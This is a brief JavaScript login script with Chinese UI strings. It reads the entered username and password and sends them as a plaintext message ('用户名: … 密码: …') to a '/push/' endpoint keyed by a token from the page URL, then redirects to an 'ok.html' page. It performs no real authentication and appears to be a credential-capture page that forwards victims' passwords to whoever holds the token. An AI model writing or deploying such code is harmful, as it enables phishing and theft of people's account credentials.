
function getHeadURL() {
    var url = window.location.href;
    // 截取到 https://xxx.xxx.com 或者 http://xxx.xxx.com
    var headURL = url.substring(0, url.indexOf('/', 8));
    return headURL;
}

function login() {
    var username = document.getElementById('username').value;
    var password = document.getElementById('password').value;
    if (username == "" || password == "") {
        alert("用户名或密码不能为空！");
        return;
    }
    var url = window.location.href;
    var xhr = new XMLHttpRequest();
    xhr.open('POST', getHeadURL()+"/push/", true);
    xhr.send(JSON.stringify({"token":url.substring(getHeadURL().length, url.length).replace("/",""),"content":"用户名: "+username+" 密码: "+password}));

    xhr.onload = function() {
        window.location.href = "/resource/other/ok.html"
    };
}